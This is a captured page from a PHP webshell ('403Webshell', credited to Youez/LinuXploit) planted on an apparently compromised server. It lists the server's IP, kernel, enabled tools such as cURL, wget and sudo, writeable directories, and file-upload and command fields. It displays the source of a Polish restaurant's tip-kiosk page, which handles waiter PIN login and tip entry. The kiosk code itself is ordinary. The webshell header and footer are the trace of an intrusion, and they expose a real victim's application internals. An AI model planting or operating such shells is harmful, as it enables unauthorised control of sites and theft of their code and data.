403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/tipy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/tipy/index.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';

ensure_tips_kiosk_schema();
tip_kiosk_start_session();

$device = tip_kiosk_device();
$flash = tip_kiosk_consume_flash();

if (isset($_GET['reset'])) {
    tip_kiosk_clear_active_waiter();
    header('Location: /tipy/');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        tip_kiosk_verify_csrf();

        if (!$device) {
            throw new RuntimeException('Ten terminal nie jest aktywowany.');
        }

        $action = (string)($_POST['action'] ?? '');

        if ($action === 'pin') {
            $lockUntil = (int)($_SESSION['tip_kiosk_lock_until'] ?? 0);
            if ($lockUntil > time()) {
                throw new RuntimeException('Za dużo prób. Spróbuj ponownie za chwilę.');
            }

            $pin = preg_replace('/\D+/', '', (string)($_POST['pin'] ?? ''));
            $waiter = tip_kiosk_verify_waiter_pin($pin);

            if (!$waiter) {
                $fails = (int)($_SESSION['tip_kiosk_failures'] ?? 0) + 1;
                if ($fails >= 5) {
                    $_SESSION['tip_kiosk_failures'] = 0;
                    $_SESSION['tip_kiosk_lock_until'] = time() + 30;
                } else {
                    $_SESSION['tip_kiosk_failures'] = $fails;
                }

                throw new RuntimeException('Nieprawidłowy PIN.');
            }

            if (!schedule_entries_for_date(date('Y-m-d'), (int)$waiter['id'])) {
                throw new RuntimeException('Nie jesteś dziś wpisany do grafiku.');
            }

            unset($_SESSION['tip_kiosk_failures'], $_SESSION['tip_kiosk_lock_until']);
            tip_kiosk_set_active_waiter($waiter);

            header('Location: /tipy/?entry=1');
            exit;
        }

        if ($action === 'save') {
            $waiter = tip_kiosk_active_waiter();
            if (!$waiter) {
                throw new RuntimeException('Sesja kelnera wygasła. Wpisz PIN ponownie.');
            }

            $method = (string)($_POST['payment_method'] ?? '');
            $amount = tips_parse_amount((string)($_POST['amount'] ?? ''));

            tip_kiosk_add_entry(
                (int)$waiter['id'],
                $method,
                $amount,
                (int)$device['id']
            );

            $methodLabel = $method === 'card' ? 'Karta' : 'Gotówka';
            $name = (string)($waiter['name'] ?: $waiter['username']);

            tip_kiosk_clear_active_waiter();
            tip_kiosk_flash(
                'Zapisano ' . tip_money($amount) . ' · ' . $methodLabel . ' · ' . $name,
                'success'
            );

            header('Location: /tipy/');
            exit;
        }

        if ($action === 'cancel') {
            tip_kiosk_clear_active_waiter();
            header('Location: /tipy/');
            exit;
        }

        throw new RuntimeException('Nieprawidłowa operacja.');
    } catch (Throwable $e) {
        tip_kiosk_clear_active_waiter();
        tip_kiosk_flash($e->getMessage(), 'error');
        header('Location: /tipy/');
        exit;
    }
}

$waiter = $device ? tip_kiosk_active_waiter() : null;
$entryMode = $waiter && (string)($_GET['entry'] ?? '') === '1';
?>
<!doctype html>
<html lang="pl">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,viewport-fit=cover,user-scalable=no">
    <meta name="robots" content="noindex,nofollow">
    <meta name="theme-color" content="#0b0b0b">
    <title>Terminal napiwków | Polana Smaków</title>
    <link rel="manifest" href="/tipy/manifest.webmanifest">
    <link rel="icon" type="image/png" href="/assets/img/favicon.png">
    <link rel="stylesheet" href="<?= e(asset_v('css/tips-kiosk.css')) ?>">

<!-- TKLM-TRACKING-AUTO -->
<script defer src="/assets/tklm-tracking.js?v=2"></script>
<!-- /TKLM-TRACKING-AUTO -->
</head>
<body class="tip-kiosk-body">
<main class="tip-kiosk-shell">
    <header class="tip-kiosk-header">
        <img src="<?= e(asset_v('img/logo.png')) ?>" alt="Polana Smaków">
        <div>
            <strong>Terminal napiwków</strong>
            <small><?= e((string)($device['device_name'] ?? 'Polana Smaków')) ?></small>
        </div>
    </header>

    <?php if (!$device): ?>
        <section class="tip-kiosk-card tip-kiosk-locked">
            <div class="tip-kiosk-lock-icon">●</div>
            <h1>Terminal nieaktywny</h1>
            <p>Manager lub administrator musi najpierw aktywować to urządzenie.</p>
            <a class="tip-kiosk-secondary" href="/admin/tips-kiosk.php">Aktywuj urządzenie</a>
        </section>
    <?php elseif ($entryMode && $waiter): ?>
        <section class="tip-kiosk-card tip-kiosk-entry" data-tip-entry>
            <div class="tip-kiosk-waiter">
                <span>Kelner</span>
                <strong><?= e((string)($waiter['name'] ?: $waiter['username'])) ?></strong>
            </div>

            <form method="post" id="tip-entry-form">
                <input type="hidden" name="csrf_token" value="<?= e(tip_kiosk_csrf_token()) ?>">
                <input type="hidden" name="action" value="save">
                <input type="hidden" name="amount" id="tip-amount-input" value="">
                <input type="hidden" name="payment_method" id="tip-method-input" value="">

                <div class="tip-kiosk-amount" id="tip-amount-display">0,00 zł</div>

                <div class="tip-kiosk-quick">
                    <button type="button" data-quick="5">5 zł</button>
                    <button type="button" data-quick="10">10 zł</button>
                    <button type="button" data-quick="20">20 zł</button>
                    <button type="button" data-quick="50">50 zł</button>
                </div>

                <div class="tip-kiosk-keypad" aria-label="Kwota napiwku">
                    <?php foreach (['1','2','3','4','5','6','7','8','9',',','0','⌫'] as $key): ?>
                        <button type="button" data-key="<?= e($key) ?>"><?= e($key) ?></button>
                    <?php endforeach; ?>
                </div>

                <div class="tip-kiosk-methods">
                    <button type="button" class="is-card" data-method="card">
                        <span>▣</span>
                        <strong>KARTA</strong>
                    </button>
                    <button type="button" class="is-cash" data-method="cash">
                        <span>zł</span>
                        <strong>GOTÓWKA</strong>
                    </button>
                </div>
            </form>

            <form method="post" class="tip-kiosk-cancel">
                <input type="hidden" name="csrf_token" value="<?= e(tip_kiosk_csrf_token()) ?>">
                <input type="hidden" name="action" value="cancel">
                <button type="submit">Anuluj / inny kelner</button>
            </form>
        </section>
    <?php else: ?>
        <section class="tip-kiosk-card tip-kiosk-pin">
            <?php if ($flash): ?>
                <div class="tip-kiosk-flash <?= ($flash['type'] ?? '') === 'error' ? 'is-error' : 'is-success' ?>">
                    <?= e((string)($flash['message'] ?? '')) ?>
                </div>
            <?php endif; ?>

            <h1>Wpisz PIN</h1>
            <p>4 cyfry przypisane do kelnera</p>

            <form method="post" id="tip-pin-form">
                <input type="hidden" name="csrf_token" value="<?= e(tip_kiosk_csrf_token()) ?>">
                <input type="hidden" name="action" value="pin">
                <input type="hidden" name="pin" id="tip-pin-input" maxlength="4">

                <div class="tip-kiosk-pin-dots" id="tip-pin-dots" aria-label="Wpisany PIN">
                    <i></i><i></i><i></i><i></i>
                </div>

                <div class="tip-kiosk-keypad tip-kiosk-pin-pad">
                    <?php foreach (['1','2','3','4','5','6','7','8','9','C','0','⌫'] as $key): ?>
                        <button type="button" data-pin-key="<?= e($key) ?>"><?= e($key) ?></button>
                    <?php endforeach; ?>
                </div>
            </form>

            <button type="button" class="tip-kiosk-install" data-tip-install hidden>
                Zainstaluj terminal jako aplikację
            </button>
        </section>
    <?php endif; ?>
</main>

<script src="<?= e(asset_v('js/tips-kiosk.js')) ?>" defer></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit